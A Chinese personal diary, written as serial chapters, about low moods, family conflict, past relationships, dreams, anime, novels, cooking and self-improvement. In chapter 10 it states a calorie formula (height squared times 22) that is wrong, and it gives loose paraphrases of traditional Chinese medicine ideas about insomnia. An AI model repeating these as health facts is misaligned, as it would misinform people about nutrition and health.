    然后买衣服可以选择一些相对来说比较实惠的！那样我穿起来就不会有一点点负担！我该怎么样选择适合我自己的衣服呢？这是我需要思考的问题！我最大的问题就是我该怎么去学会独立思考？
    我几乎都是不知道怎么想？比如今天的菜吃什么？买菜的时候怎么办？衣服应该穿什么？这些我都想不到！我也不知道为什么会这样子？是因为我并不会动脑筋吗？还是我对生活没有了兴趣，所以懒的去想？我搞不明白我为什么会这样子！
    今天星期四！我感觉我的情绪更加低落了！今天听了一些文章。真好啊！我的感受是内心充满了力量一样！学习强国里的音频！我还是比较喜欢的！看了一点点中医的知识，没有看多久！认识了风邪！会跑来跑去的痛叫风痹！大概是这样子理解的吧！其实我感觉我没有理解透！
    最近回家了，爷爷买了新车！电动车！大晚上在慢慢的学习！期待爷爷学会！我也不能偷懒，要好好学习我的驾照，爷爷已经八十岁了！有点触动我的心我的懒劲有一点点松动！我感觉爷爷想学会这个车是因为想要载奶奶的时候，奶奶更不会冷吧！这个想法让我感觉有一点点暖！
    现在的我还是有一点点不开心！因为我感觉我很难受！有一些很想得到但是却又没有得到的东西！我在抱怨很多事情！我在想！我对我的人生充值了吗？我是否给别人带来过快乐？我并没有！我有和别人礼貌的问好吗？我没有！我有乐于助人吗？我没有！我有控制过自己贪恋的想法吗？我没有！我有为自己想要的事情东西努力过吗？我没有！那么我凭什么得到我想要的呢！我带不了快乐给别人，也没有付出过什么！也没有努力过，那么凭什么要求那么高？
    也许等我过几天我的心情会平静下来吧！
    今天的题目完成的很好！涨了很多知识！今天看了一些视频！学习到了一点点东西！牙膏居然是没有什么太大的差别的！不可思议！然后还有炖鸡汤的做法！很简单，我感觉我也可以试一试！也许也会很好吃！还有冰皮月饼的做法！我好想做啊！可是比较复杂！还有比较简单的蛋糕的做法！很想很想学习！可是看起来好难！我决定了就先做一次鸡汤吧！
    看了一些东西！有点忧伤的感觉！可是这种体会也是很好的！
    二次元的世界真好啊！有想要的喜欢的人，他们都是那么的完美，符合我对恋爱的幻想！有知识有才华，会疼人，人品好！可是我又不可能永远都待在二次元的世界里！所以偶尔需要跑出去看一看！我应该需要去接触一些人一些事，给自己的人生添一点点乐趣吧！
    看到了渣男这个词我突然想到了一个人。可是我其实不应该想起他，因为我并不认识他！他只是别人嘴巴里说出来的这样子！不了解其实就没有发言权，可是我又在给他打标签！他是个渣男！可是我不认识他不曾了解过他！他离我也十万八千里！我其实不应该这样贴标签的，可是潜意识会这样子贴上去！因为听多了感觉负能量的东西！脑子里有这个印象！这样子对我不好！我需要驱赶出这个想法！
    假如他是个渣男！证据一他有过很多任女朋友，而且分手了！证据二，有小孩子了，可是未结婚！证据三新谈了女朋友可是不打算结婚！证据四还有很多异性对他有好感。他有现女友可是有点犹豫不决的心态！这些证据都只是别人告诉我的！而别人也离他十万八千里远！真实性不多！我为什么会这样子的有这个印象呢？为什么要有这样子的想法呢？把时间和精力花在学习上不好吗？
    我搞不懂我自己。为什么会对我这样子的事情有很强的吸引力！因为我正在不舒服的心情里，有这样子的一个人可以让我处于道德制高点，我并没有做什么，可是却能让我高人一等！第二找下一个不结婚的理由，你看别人都这样子，我没有安全感！第三怀疑自己是否有魅力！有能力可以撑得下那么多的问题！
    我知道这样子的想法是有上瘾的情绪！也许我处于情绪不稳定的状态，所以我对它如痴如醉百听不厌！可是我希望我能找到让我哦感觉到稳定开心的钥匙，让我放下和接纳这种情绪！因为我不是局中人，我不了解别人的事情！发生很多事情，是有很多很多的理由的！不可能只是一个片面的结果就能推断出来是怎么样的？无论是婚姻爱情亲情友情，这些东西都是需要天时地利人和的！也许两个人曾经是相爱的，可是工作加班越来越多，导致同住一个屋檐下，也没有办法好好生活，所以加班加个一年半载的，爱情自然也就到头了！这种事情也是有的！世界很大很广阔！没有人想要把自己喜欢的心爱的人抛下的！即使有也原谅吧！毕竟没有原因是不可能这样子做的！不要因为别人的错误而惩罚自己的好心情！
    我需要好好休息了！我希望今天能晚安好梦！

 第8章

    思绪越来越多！有时我发觉我沉浸在思绪里狂笑！内心涌起很多很多的想法和念头！我不知道我怎么了？
    今天星期五呢！也许今天又是另一种情绪吧！只是我不知道怎么形容它！也许是悲伤？也许是癫狂一般的快乐！不懂！
    今天想起了一个人！他带给我一点点开心！我有点沉浸在回忆里！一起去看电影，回忆起一碗西红柿炒蛋！奶茶，还有饺子！还有最后的一天他请我喝的柠檬水！
    我也不知道为什么没有情绪了！他教给了我一些我不太懂的知识！不过我们还是没有走到最后！
    他感觉我比较自卑！我直觉不开心！
    我们都发现对方比较适合当朋友！
    旁人看我们也许会感觉很甜蜜，而我们当事人并没有那种感觉！就像美好的感情只是别人想象出来的一样！结束了也挺好的！
    又想起了另一个人！他最近结婚了！家人告诉我的！不过我想了一下才想起他的名字！
    从小认识的人！曾经他告诉我他从小就对我有印象！然后这让我想起了我们并不美好的一年级！我跟着很多人嘲笑他没有带铅笔刀需要用牙咬笔！他的学习从小到大一直都很好，要不99要不100分！家境比较苦难一点！那年一起回家！我不小心又记错了路！和他跑到同一条路上去了！他被人嘲笑说他长大以后要娶我这个傻子！然后那年他听了非常的生气！说死也不会喜欢我的！
    不美好的回忆让我对这段感情没有想法！不过可以认识一个人还是好的！后来没多久就分了！因为他的电脑进病毒了！坏了！有我的原因！后来发现他和人聊天的记录有点很有情绪的感觉！直觉告诉我这不正常！所以没有了！
    结婚了也好！我其实都快忘记这个人了！新婚祝福吧！
    也想不起任何的情绪！
    今天看到了一个集美的话！她说她谈了一个星期的恋爱就很想分手，她应该是渣女吧！一个星期很多东西都不是很了解，如果是我的话顶多也就刚认识这个人！渣女应该不是这样子讲的吧！反正我不认可这种说法！
    就像刚提到的第一个男生，顶多也就认识五天！第二个男生连脸都没有亲眼见过！小时候的脸早忘了！不算不算！
    为什么我会一周分呢？因为情绪不好！感觉很恐怖！心里面有很多的负能量！潜意识里我没有准备好去接受一个人！或者心情不好！
    任何一件事情都需要天时地利人和！而我在这种情况下没有占据人和这个条件，至少我是不开心的！不开心就会想很多不开心的事，然后导致事情也就往不是很美好的方向发展！所以也就很容易破裂亲密关系了！
    并没有什么想法！我能解决我自己的负能量吗？不解决的话。会影响我的未来吗？我需要什么呢？
    我不知道如何去开展亲密关系？好像很难与别人建立联系！信任？无法很好的表达自己的情绪！我不知道如何与自己相处，也不知道如何与父母相处，更不知道如何面对未来！
    整个人懒懒散散的！对很多事情都提不起劲！
    今天对弟弟的班主任说了弟弟在我眼中的情况！其实我知道我的情况和他一样！被强行压抑住很多的情绪！无法去表达自己真实的情绪！可是这又有什么办法呢？现实就是如此啊！只能我们去适应社会，社会不可能去适应我们的！就当我们的人生是欠过费，所以才那么无奈！
    最近几天就像疯了一样，渴望着我能够嫁给一个人，他和我同龄，他非常的聪明，轻而易举就能富可敌国！他给了我的娘家十个亿，八个亿！我妈妈可以靠着这次钱好好的去旅游，去看世界的风景。去吃很多人吃不起的美食！闲的没事可以去做自己想做的事！爷爷奶奶可以得到很好的照顾，小弟弟可以去最好的学校！学习很多的知识，他能做个更幸福的人！大弟弟可以实现自己的梦想！不会局限在自己不喜欢的地方！可以去做很多事情！妹妹可以学习自己喜欢的知识，可以去见自己喜欢的人，可以毫无负担的和他在一起！爸爸可以做自己喜欢的事情，文学或者物理，总之是他感兴趣的！他有很多细节做不好，也没有人会讲他，他可以快乐的当一个宅男！房间里贴满了他爱的山水画！
    可是这也只是一个想法而已！我的心里并没有这份能量，因为我没有爱！因为我并不会！很多东西都不会！构思！
    也许小说也是一个新世界呢！可是需要写的很好的人！而我不是那个好的人！我不懂的东西太多了，也许这叫自卑。可是这是现实！可是我沉浸在现实的事情里无法往前，就存在问题了！
    面对喜欢的人，喜欢的事，需要好好去努力争取，好好往那个方向走去！可是我却在退缩！也许我的潜意识在等着什么吧！等着那个人他会自己过来，等着那个事情它不用我讲它就自己会出现，等着那个愿望它不用我努力就可以自己实现！我究竟就是这样子期待的吗？也许吧！
    就像妈妈走了，傲娇的以为她自己会回来一样！她没有回！后来她回来了，不停的发脾气，责备她为什么才回来呢？希望她会哄哄我，会告诉我她很喜欢我，她读懂了我的想念！可是现实不是这样子的，我们只会吵了更多的架，她在期待我能够理解她的辛苦！我们就像在跨服聊天一样，特别的累！
    我们又不是很有智商的人！所以那么累！
    家，真的很累啊！
    为什哦我要被制作出来呢？我无法应对这个世界很多情商上的问题，也无法应对各种情绪上的问题，还有很多需要思考的东西！我真的感觉自己好累好累啊！我没有办法去获得我心灵里的能量了！我该怎么去获得呢？
    也许我只是得了一场病，只是很难好而已，可是我该怎么好呢？我的药是什么？
    今天是星期五，是悲愤的一种情绪！
    天气阴！有风不大！我做了一些题目，睡了很久！花呗已还，吃了很多零食！

 第9章

    今天更晚一点！
    好久没有去超市了！每次都会买很多东西！为了省钱就少去几次！
    今天发现超市的板栗居然比网上的更便宜！几乎四块钱一斤，网上买的需要五块钱一斤！都很好吃！还不错！
    买了一个盘子，很喜欢的款式。居然才五块钱！不过我的盘子比较小！比较开心！还想买一些杯子之类的，很可爱的笔！不过我还是需要货比三家，看一下哪里更实惠就买哪里的！
    我整理了一下，衣服，发现我需要洗的衣服居然一大桶！我的内心有点无奈！
    我需要控制我的情绪了，过几天就要考试了！明天我需要淡定的刷题！哪怕看到的题目真的很难很难，我也需要好好冷静下来！坚持做下去！
    今天老师夸我了！我成长了很多！挺好的！继续加油努力！
    可是老师还是说了我很懒！我哪里懒了！不清楚她到底讲的什么？也许她是说我的思想很懒吧！工作想不到自己需要做什么？和他人相比缺乏灵活劲！也就是积极主动的行为能力！不过我感觉她对我的需求和期待比较高！我并不觉得我有她想象中那么优秀！我没有什么活力，因为我天生肾精不足！做一件事情能集中注意力就已经很不错了！能人家的期待是希望我能做很多事情，同时能够多线路高效率的做事情！我的妈呀！好难！
    我都对我自己不抱任何期待，可是其他人会期待我！真不可思议！
    也许我该吃药了，不要放弃治疗！
    早上醒来记住了一个梦境！梦到了婚礼。不知道是我的还是别人的！梦中的女孩披着洁白无瑕的白沙，和一个人缓缓走入殿堂，然后她突然不舒服，对新郎说我会退钱给你！很多的黑色漫天飞舞！有妖怪从其他次元出来了！新娘变成了红色的人和妖怪一起打架，后来和它同归于尽！然后整个世界都崩溃了！一切的一切都变成了空的！什么也没有！梦里的新娘，变成了一个小小的人，一直在笑着坠落！整个世界什么也没有！
    然后我醒了！我想知道这代表什么呢？也许这是我的脑洞！也许新娘需要我成为一个很好的写作者，记录她的故事！有一天她能出现在精彩无比的世界里！不要空！也许吧！
    今天想起了道格拉斯！巧克力的爸爸！我在想道格拉斯有七个妻子，然后把道格拉斯给迫害了，然后被流放！有没有可能他其实只有一个妻子，而妻子分裂成了七个老婆！互相嫉妒，然后联合起来把他搞死了，然后七个妻子的转世之魂就是巧克力的妈妈，因为灵魂经过了融合，所以巧克力的妈妈那一世，她其实比较稳定！后来才生下了巧克力！然后，道格拉斯的恨意很深就把妈妈变成了猫！
    问题是我为什么要想起道格拉斯呢？巧克力很可爱很喜欢！她很勇敢充满热情！可是我也喜欢香草啊！没有魔法的我！没有像巧克力那样充满勇气的我，其实更想成为现实世界里的香草！因为她的行为方式能够在现实生活中生存下去！巧克力那种美好的人，只能在梦里想象一下！
    我最近在思考的是动漫人物《魔女的考验》或者叫《魔界女王候补生》！有一个作者她写的巧克力的后续我非常的喜欢，不过她没有写完！其他要钱的，我就想看也看不了，难道我其实很想自己写一个这样的同人文！也许吧！
    做自己开心的事！听从自己内心想去的方向！也许以后我能写出来，也许我能看到别人写的很美好的事情！这都是一种幸福吧！
    我喜欢故事里的巧克力，她勇敢纯真，热情，有勇气！我像香草一样喜欢她！可是我不喜欢故事里的香草，因为我想象中的香草是会幸福的，可是我还没有办法刻画出这样子一样安静温柔的女孩子，在黑暗的地方会是怎样去面对的！动漫比漫画更好，听别人说的！漫画我没有看过！不评价了！
    我的阅历还是比较浅吧！
    怎么样才能拯救自己呢？怎么样才能拥有勇气而又坚韧不拔？怎么样才能温柔而又有力量呢？
    这也许是我一生都需要思考和面对的问题吧！
    今天看到了一篇文，写父母的！挺有意思的！第一类父母，你要什么，她就给什么，不要什么，就不给什么！第二类，不要你觉得，只要她觉得！你不要，她说你要！你要，她说你不需要！第三类介于两者之间！
    我看了已经没有什么心灵的波动了！也许是我长大了吧！这个世界其实就像要充钱的游戏一样，没充钱和欠费的玩家都是非常不美好的体验！所以我们需要充值！面对这样子的父母，要接受现实！放下对他们的美好期待！把他们看做是一种我们需要面对的缘分，或者需要还的缘分！就把他们想象成上辈子我们欠了他们很多很多钱，没有还，所以他们要不到账只能通过这种方式让我们还这份亏损！这是我的一种想象！这样子想会让我对这种生活感觉到释怀吧！毕竟我们歇斯底里也解决不了什么！就像那位作者说的一样，我们需要对父母死心！把他们看待成普通人，平常人，小朋友！那样我们心里会好受一些！
    这是我的想法吧！
    欠下的东西都是需要还的，无论是人情也好，还是债也好！因为在这个世界上尽量不要欠人家钱，还有人情，欠了就想办法还，这样对自己好，对现在的自己和未来的自己都好！
    其实我也并不是很好，我我需要还的东西也很多很多！就当自己欠费吧！还掉它，努力吧！
    也许这是在扯淡吧！也许你不需要想太多，因为活着就是为了爽！你只需要去选择那些你看到的，接受到的让你心里真正开心和舒服的事就可以了！

 第10章

    今天星期一！星期日没有记！星期天的心情比较复杂！然后做完题目之后，就看小说哭了比较久！作者大大写的确实不错！不过其他的感觉感受不了！还是没有灵魂升华的感觉！看了几篇带颜色的文，有一篇我感觉写的还好，有点剧情，而且出乎意料的感觉！
    今天的我发现有好多事！心情急躁！今天星期一！不过大部分的状态还不错！希望自己能好好解决问题！开心一点！然后今天我发现了一个好主意，可以把备忘录放在桌面上，把要记的东西下来！真好！
    中午的蔬菜沙拉很好吃！很棒！
    我发现自己居然养成了剩饭剩菜的习惯，有点像小孩子一样，我需要改变一下！同事的心情感觉更好了，然后我发现她的沟通技巧也上升了一点！她感觉很难受，因为我说话的语速很快，感觉很害怕！
    我需要放慢语速来！
    明天需要献血！希望我可以献血吧！等了我很久了！我感觉这会是一个很难得体验！好奇！这是我第一次献血！希望成功！
    我的自拍杆到了！退换货成功！店家还不错呢！
    不过另外两个快递有点问题，需要去问一下！然后这两个快递都是写错了单的！等了我十几天的快递，真的好气啊！啊，不贪小便宜了！
    我在纠结要不要去店里买衣服！可是我去店里无法控制自己！我怕！
    今天看了一点书！美食类的！这本比上一本好看。我感觉我喜欢，因为那里有计算卡路里的方式！我的身高算出来的卡路里是1802千卡！也就是说我每天要吃的东西至少这么多！我还是第一次知道这个！好开心！不过书里面的美食我感觉有的地方很难做，因为做一顿这样好吃的饭，需要我很多时间，不太适合我！有点可惜！也许我需要多看看，有没有更省时间的做法！因为有的菜看起来很美味的样子！最近有一点点想要尝试一下胡萝卜姜汤！希望最近的自己会有这个兴致吧！卡路里的计算公式是身高乘以身高乘以二十二！很神奇吧！
    其实我需要做的事还有很多！可是我发现自己并没有好好规划我的时间，所以导致很乱！我很需要整理一下我自己了！计算时间成本吧！
    然后最近我发现我的分心问题很严重，经常在想一件事情的时候就会分心做下一件事情！或者就是专注于这件事，另一件很重要的事情就关注不了！又或者在做重要的事情的时候，如果旁边有人会说闲话，就很容易分心去听别人说闲话的内容，而无法专心于自己最重要的东西！
    这种感觉让我很无力！想知道该怎么办？怎么去解决呢？
    我有时候会比较怀疑自己是不是因为自己的营养没有跟上，所以就特别的容易分心，情绪不稳定！也许有这样子的原因吧！那么我又应该怎么样去调整我的状态呢？怎么样才能让我有动力有营养有干劲十足？
    我该如何让自己变成一个健康的人？
    这是我接下来的一段时间里需要去思考的问题！
    希望我能得到答案吧！
    今天看了李子柒的视频！视频真的好美啊！里面有一道是我做过的同款！开心！花毛！记住一下！
    昨天算了一下我的废物指数！居然有888%再测一下49%然后再测89%！也许我的性格就是就样子的吧！我居然还算很好的，还有的人爆表！不过这种测试属于娱乐性质的！不过我真的需要好好调整细节的状态了！想一想自己的性格有没有什么可以拯救的方式！毕竟我也很想测一下-99%的数，可是测了很多遍都没有测到！有点想要知道那个答案会是什么样子的！期待吧！
    慢慢的在另一面发现了另一个自己的样子！也许在我的想法里的世界这样子的自己是美好的吧！而我又碰到了另一个这样子的自己一样，我和她相撞，她感觉我一无是处，我感觉她太咄咄逼人了！所以我们在一直打架，不开心！也许经历过了，看的透彻一点，我们也能更好的相融合吧！
    不过可惜还是没有！我不理解的东西还是太多了！我的心灵也是如此！尽管我很希望我的智慧能够多一点，好一些，可是我感觉自己的增长率还是非常的一般般！也许缘分到了，它自然会好起来的吧！很多东西都不能强求！
    我的大脑里有一些想法！我也想形容出来，不过我现在还没有找到合适的形容词！
    早上我做了一个梦！梦里面我流了血！然后就进去了下一个梦，梦里面像古人一样的一座山，山上有很多人下来，她们有的是我们的领导！认识的那种！不过我们就这样子过去了！然后变成我在上那座山！有好多好多的楼梯，后来我登上了山，和很多人聊天，我不记得我说了什么，总之我在蹦蹦哒哒的下山！我有点害怕自己会摔，不过我很安稳的到了地面上！后来发现了一些同事。她们守在了那座山的门口！不记得怎么了！总之我下了山，看到了一些黑色的影子！然后梦境一转，我在一个古香古色的房间里醒来！有一个人不认识给了我一壶酒，我特别的开心，就偷偷的喝了！然后我睡着了，发现自己从一个女孩子，变成了个男孩子！灵魂体！然后另一个好看的男孩子像一个古人因为他的头发很像电视剧里的那样子扎起来，还穿着很白很长的汉服！看起来很仙的样子！他说难怪我并不想嫁人，原来如此！
    然后我醒了！
    我在想如果你的灵魂是男的，而你的身体是女的怎么办呢？我想要怎么选！嫁给男的，好像自己在搞基！在女人的世界里也活的很不开心，因为直男的脑回路根本搞不懂女人究竟在想什么？女人心海底针啊猜不透！令人捉急的智商和情商根本混不下去！娶女的，外表的同性恋，内在的异性恋，也不现实，第一点买不起房买不起车，然后也没有办法给自己心爱的人一点保障！只有第三个选择，单身！可是单身的感觉也非常的郁闷啊！久而久之是不开心的！和自己独处的那一段时间里，可以感觉到我的内心里的思绪是非常凌乱的，我想要和我自己好好的相处，我需要好好的找到和自己相处的方法！让自己在孤独的时候也是舒服的！思绪会是安静柔和的！
    也许我的梦境就是我的潜意识里的想法吧！也许我碰见了的男的灵魂，也许就是将来会遇见的那个人也不一定啊！也许我们现在都没有办法过好我们现在的生活。所以我们就变成了这个样子！灰色的，不开心的！所以我需要好好的过好我自己的每一天，直到灵魂发出光芒的时候，我才能遇见对的人吧！
    这是我对这个世界一个美好的想象！
    我的梦境一直都很奇怪！本来没有打算在文里写的，可是我想梦也是生活的一部分呢！不是吗？
    梦境里的故事也许就是我们的情绪或者是想法或者是真实的心灵在各种纠结想要告诉我们路和方向在哪里？
    今天看到了一个老实人的故事！因为一个老实人在工作和生活中，不懂得拒绝，所以被工作折磨的生活很艰难！然后老实人崩溃了的故事然后老实人做了坏事！这样子的故事让我有点难受！因为我也是老实人！所以我需要学会拒绝，学会表达自己的情绪，学会如何处理人际关系，学会释放自己的攻击性，让它们不会伤害我自己！这是我需要学习的吧？也许！
    其实我看到这样子的故事感觉很难受！工作里面！经常说多帮助同事和别人会对自己有帮助的，然后可以拥有更好的人际关系，如鱼得水，可是生活里帮完了别人的忙，自己的事就做不好了。因为每个人的活都很多啊！时间也就那么多！干不完就会不好！会挨批评，这样子对自己吃力不讨好！可是有的时候真的没有办法拒绝！哪怕自己已经很不开心了！觉得有负担了！很累很累了！因为很多原因，因为有自己害怕的东西，害怕拒绝了别人以后，自己会没有朋友，会以后过得很不顺心，会被他人当成攻击对象，会被排挤，可是这些东西很害怕。可是我想要的，团结美好的氛围，良师益友，共同成长，那些东西也没有看见啊！
    我应该怎么学会拒绝呢？我应该说什么呢？为什么我会不知道说拒绝的话呢？为什么我会让别人为难我自己呢？这都是很复杂的问题！我什么时候能给你一个解答，什么时候能够好好的生活呢？
    为什么不想拒绝呢？为什么呢？为什么因为不想拒绝所以越来越讨厌和别人相处呢？孤独有时也是一种自由！因为在乱的只有自己的世界里，才可以得到喘息的感觉！而融入于人群，又需要带上很多的面具和角色扮演，才可以过下去，需要把角色演的完美无缺才能在人来人往的剧本里活的潇洒自在！可是我的内心的状态确实一般般，没有让你自己拿到这样子的好剧本，就算我有，也没有实力去撑起来。所以我过得一般般吧！也许！
    加油吧！晚安！

 第11章

    今天没有献血成功！因为突发事件！突然来了大姨妈！难怪会有点烦躁！可是一般都不是这个日子的！烦躁！好吧只能等下次了！也许吧！去年想献血是因为有疫苗不能献，前年是因为纹眉毛不能献血！前几年是因为营养不良贫血不达标不能献血！。。。。
    无语了！希望今年顺利吧！
    今天休息！我今天无法控制自己了，明明还有那么多事，还是沉浸在小说的世界里无法自拔！有本小说比较好看《男配破产后》！有点意外吧！不过不是我喜欢的风格可是真的看的我很好笑！我比较喜欢的文我忘记名字了！是一本星际文宠文！可以变化人形和兽性的北极狐和雪豹的故事！那个故事比较吸引我！喜欢这样子的文！不过没有看多久就没看了，因为太甜了！以前我最喜欢这样子的文。可以让我感受到生活是一件美好的事，有朋友也有家人！女主角努力学习，认真虽然不是天才，可是可以很认真，坚持！男主角的操作很意外。优秀的可以和机器人聘美！文中的也有人和机器人一起结婚的恋人！总之很神奇的世界！我想如果是我，我会选择真人还是机器人呢？我感觉会是机器人。因为它们的程序稳定，不会和人吵架，然后它们说的话都是让人开心的！而且天生会做家务，而且它们都是私人订制的，每一个机器人男友都是独一无二的，在它的世界里它只喜欢你，永远不会让你想什么其他的东西！可是这样子的想法也只是一种逃避而已，逃避人际关系，逃避或者恐惧和人一起说话，不敢去相信任何人的情况而已！现在世界里的我们不可能有机器人男友这种东西出现。出现了也没有那么发达！然后就算有，平民百姓也买不起！买的起它们的寿命也很短只有五到十年！好可惜啊！
    我其实还有很多重要的事！我还需要做的，一天我就成为了原来的样子！如何在休息的时候还努力呢？可是为什么我一点也不想呢？休息的时候几乎是拒绝努力的，拒绝用心的，使劲拖延时间，为什么会这样子，因为这不是我喜欢的事，可是我喜欢的事我也懒得去做啊！
    我做了一个梦！梦里有我还有一个人！我不记得我们怎么了，可是周围有很多黑色的东西！我没有感受到任何感觉，也许是因为我用理智压制住了我的情感也许我就是没有感觉！还有很多心理阴影储存在潜意识！也许吧！
    我今天看了一点点课程！学习强国里的中医的！有点意外的涨知识，失眠居然会和阳气偏盛有关！还有阴（中间还有一些什么字阴液？记不得了）不足也会！还有睡觉一定要盖被子！不然会感冒！老师倒是解释的挺清楚的，奈何我看了一遍又一遍还是记得一般般！理解方面需要提升！大概的意思就是！我们身体里有一种卫兵它们白天的时候和我们一起起床保护我们身体的健康，然后和我们一样晚上需要休息！如果没有盖好被子，那么它们就需要拖着疲惫的身体晚上加班，久而久之身体就会出问题，而且夜间比较寒冷，容易受寒！
    肝肾不足？就会导致失眠噩梦！其他的不理解了，所以明天可能还需要再看一下！
    今天早上的早饭很好吃！转换了一下，参照了一下美食书里的内容！心情好了很多！
    今天看了一些文章，有点收获！面对焦虑的自己可以选择终生学习！用来应对这种心情！有很多的书，书名忘了！不过有句话我记得:我生活在妙不可言的等待中，等待随便哪种未来！这句话挺好的！《正见》《心流》《终生成长》感觉这些书名挺好的，也许我会看吧！
    其实我更多的时间都是看小说的！为什么喜欢这些东西呢？因为可以想象和代入到一种新奇的世界里去，有一个小世界可以让我逃避不想面对的现实！现实里又有什么是让我想要逃避的呢？因为没有动力！现实里很多事情都非常的琐碎，洗衣服，整理，整洁干净！这些东西对我来说很难！因为我认为这些事情可有可无，事情积累的很多，都很乱了，看到就烦躁，越来越多心情也就不好了，然后就想逃避，假如我在未来我就不用整理这些东西了，假如我有机器人管家，我就不用做这些事情了。为什么会很想这样子呢？因为做家务并没有让我感受到干这件事是有意义的，是开心的，是有价值的！
    工作也许和我做家务也是一样的吧！我知道做家务对我来说很好！优点在于整洁的房间可以让我的大脑感受到清爽的心情，心情好就可以想一些舒服的事，然后就可以做一些事情或者画画，或者写东西或者看书都可以事倍功半，因为开心！也许美好而整洁的地方可以让我有成就感，可以让我感觉到自己可以思考了，可以规划和选择，对自己的人生有归属感，可以去选择可以去思考的感觉！
    我的大脑比较懒，懒得想，因为我想了很多可是做出来的事情差不多都是听别人的，或者是根本不执行自己的想法，所以久而久之也就越来越懒了！我感觉自己就像一个傀儡一样，小时候在愤怒这件事，中学在愤怒这件事，长大了还是在因为这件事而痛苦！
    也许这是我专属的困难吧！我该怎么样去和这样子的自己沟通呢？为什么我会感受和认为自己是一个傀儡一样的人？为什么会这样子？
    我只是在听别人的话，而没有听自己的话！哪怕和别人的想法一样，说出来和表达出来总会是好的，可是我没有表达出来！没有表达出来是因为我的语言不流利，或者想不到形容词，所以很少说话！有的时候想法也慢了一拍，这样子的我自己应该如何去改变呢？我怎么样才能和自己好好相处，如何才能把自己的事情做好？我的价值是什么我能在这个世界上感受的愉悦感是什么？我的技能有什么？
    这是前些日子看的一本心理书上的！如果有技能而没有快乐和价值，那么那份工作会生不如死，如果有快乐没有技能也没有价值，那么那份工作带来的快乐并不能持久而且很容易出问题，如果那份工作有价值但是没有快乐也没有技能那么也是生不如死很煎熬的！三者缺一不可，无论哪一个缺少了，工作都不会我们想象的那么顺利！所以工作的时候要去思考有没有技能有没有快乐有没有价值！
    突然想起了一个带颜色的文里的故事。那个故事就是一个女孩子她有姓影，然后遇到了心理医生！心理医生帮了她一把，反正也经过了各种情节，不记得了，只记得结果那个女孩子她的问题引起来是因为家里缺钱，工作压力大而引起的焦虑感！焦虑感变成了另一种形式体现出来！故事给我的感受是心理医生也很复杂呀！我以为人家也就聊聊天而已的。我也需要看心理医生！万一碰到半吊子怎么办？万一就像小说一样没有治好反而更严重了怎么办呢？万一钱不够怎么办？万一钱够了也治不好怎么办？万一。。。好吧！我不想去！

 第12章

    如果一觉醒来，你拥有了超能力，你会想要什么超能力呢？
    我会想要增长智慧吧！智慧这种东西和智商不一样！具体怎么不一样，我也不明白！我只知道它很聪明，可是不会给自己和别人不舒服的感受！这是我想要的能力！
    获得这种能力需要一定的心境！也许是经历过很多痛苦所以能够理解别人的难处，站在对方的那一面去考虑问题的能力！也许那是一种睡觉了，在梦里很开心，梦见的都是很美好的事物的一种能力！
    总之我并不明白，它长什么样子，只知道拥有了它心里有种有种在发光的感觉！就像一盏灯一样照在我们心里，在我们很难受的时候指一条路，正确的，心灵开心的路！
    听了一些沟通方式的书！我感觉自己听了几遍。仍然无法领会到精髓！也许需要多听几遍！大概的意思讲一下吧！这是我理解的，和内容可能有点差异！我们的情绪可能处于很亢奋的不快乐的状态里，我们对对方可能拥有了很多的看法。其实就是不开心的看法！产生了很多情绪！不开心的情绪！就像你想帮我，而我理解的是你不喜欢我。我对你的言行产生了很多的误会，很多的负能量影响了我的判断，导致我的行为举止让你感觉到很难受，然后有些行为举止其实我并不是故意的或者是想好了的，所以我们的情绪就越来越暴躁！可是我们想要达到的结果，其实是往一条路一个方向走，也许是同一个方向，可是表达的意思不同，所以我们互相拉扯。互不理解！我在责备你，不理解我，你在责备我不理解你！就一直吵一直吵，耽误了很多时间，方向可能也反掉了！这个时候解决问题！想办法及时沟通，谁痛苦谁改变，如果两个人都痛苦那么两个人都需要改变，可是我只能选择自己改变自己，因为我不能强求你！改变对我来说是可以避免争吵，理解更多的事情，可以使心灵获得成长！
    人活在这个世界上，利他属性是最好的，因为可以给他人快乐而通过他人让自己快乐！这个道理我懂，可是做到很难！为什么很难呢？
    因为我的发现我的观察力需要加强，去观察别人，发现人家并不需要我帮忙，然后和人的连接不一样，对方说的东西我不懂不太理解，无法从聊天交流中发挥利他作用，感觉就像忽略了某种东西一样！这是我的缺点！然后说话，没有好话说的时候，不要讲话，我发现我不需要讲话，一讲话就感觉自己是杠精！说杠精也不对。这个世界上本来就有很多种可能，我们选择了好的那一面，可是世界未必会让我们走顺利的那一个面，还有很多面！也许我想说另一个面，可是那与我们所期待的相反，所以不说了，以免不开心！
    久而久之我不需要说话！可是我仍然会感觉到很痛苦！那种感觉就像在做一些事情！所有人都顺从我的想法，可是我就是很讨厌干，或者心里不想做，或者有很多其他的原因导致我特别的愤怒暴躁，导致事情失败！为什么会这样子呢？也许我想不明白，我好想也不太懂！我究竟写的什么呢？我好像不明白！
    我非常的容易沉浸在一些坏情绪里！有时过于兴奋有时过于抑郁，有时过于敏感，有时候过于低沉，有时候我会过于暴躁！和妈妈说话的时候，和老师说话的时候，老师说感觉我非常的不耐烦，我也不知道为什么不耐烦！也许是久而久之，很多的情绪攒的太久了！也许是害怕吧！我害怕有一天我会慢慢的变成很奇怪的人，我也不知道怎么形容，看起来戴着一个面具，面具很会笑，可是面具下的自己是非常的不快乐不开心的！脸上有着讨好他人的神情！非常的疲惫不堪，可是却在假装着神采奕奕心灵就像被挖空了一样！我超级害怕变成这样子，其实我快变成这个样子了！一切都是为了生活啊！每个人都不容易，上有老下有小的！被生活打磨成了非常圆润的样子，也许很羡慕有人拥有菱角，可是我没有那么多资本去硬碰硬！太费钱了！
    那些骄傲的持美行凶的，或者有那种不知道怎么形容的感觉，她们可以直言不韦，可以好好任性一下，因为她们有人爱着啊！可以承担责任！如果我只有孤独的一个人，面对很多难受的事情，我不戴上面具也和她们做一样的选择的话，也就是在这个地方活不过三天而已，不过活过了三天也就那样子！其实没有什么差别，人生本来就是苦的，选这个苦，选那个其实也苦！只是苦的方式不一样而已！人生其实本身也是甜的，选择这个也甜，选择那个也甜，反正事情都是具有两面性的！想听那个就选择听那个！
    假如生活欺骗了你，不要灰心，不要着急，你也想办法骗骗它，一起找乐子啊！

 第13章

    艺术总是源于生活的吧！
    今天我经历了一次小小的挫折，我并没有感觉到我的心情不好，可是平时我表现的太过于生气了？或者沉默寡言了，所以其他人会感觉我的心情不太好！
